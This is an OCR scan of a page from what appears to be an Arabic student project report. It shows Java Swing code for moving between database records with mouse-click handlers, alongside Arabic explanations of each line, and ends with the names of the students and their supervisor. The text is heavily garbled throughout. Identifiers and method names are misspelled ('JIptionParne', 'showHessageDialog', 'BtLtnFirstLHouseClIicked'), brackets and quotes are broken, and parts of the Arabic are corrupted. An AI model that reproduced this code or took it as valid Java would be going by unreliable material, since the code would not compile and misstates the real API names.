جلة الاستعلام ذهب إلى سجل السابق وهنالك a.‏ ا زی ی ی 3 
e‏ 2 فقہ ihsan a Lol _ no"); 0 a‏ 4 
JTextFieldzi.setText (rs.getStringi"Lol name"}] |; 1‏ 5 

السطور 4ر5: اسند قيمة للكائين 1 ٤‏ 
JTextFiled1,2‏ قیم المتغیر ٣۶‏ لأول عمود في { catch (Exception e)‏ 7 
قاعدة البيانات واي عمود. ; | | | JIptionParne . showHessageDialog (null , e. getHessage‏ 8 
السطر (7): تنفيذ جملة الاأستخاء في حالة و جود 9 
خطاء. 10 
کک د private void BtLtnFirstLHouseClIicked ( java. avwt. Event. MouseEvent evL]‏ 1 

2 tLEy{ 

3 iIfFIrs. TIFSLI)J) 

السطر (3): إذا كان المتغير ۴١‏ والذي يحوي على ; ) jTextField1.setText (rs.getString ("Col no")‏ 4 
جملة الاستعلام هو أول سجل فقم بتنفيذ التالم. ; | jTextField3.setText (rs. getString ("Col name")‏ 5 
السطور 4ر5: اسند قيمة للكائين 1 6 
JTextFiled1,2‏ قیم المنغبر ۴۶ لأول عمود في { }jcatch{(Exception e)‏ 7 
قاعدة البيانات وثاین عمود. ; )| | | JIIiptionPane. showHessagqeDialog null , e. gqetHessage‏ 8 
a‏ 9 
8| 10 


إعداد الطالبان : تحت اقراف الأ ساد 


سليم شرف ناجي الشميري - هيم فكري عبد الرقيب العواضي ماهر عبد الرهن 


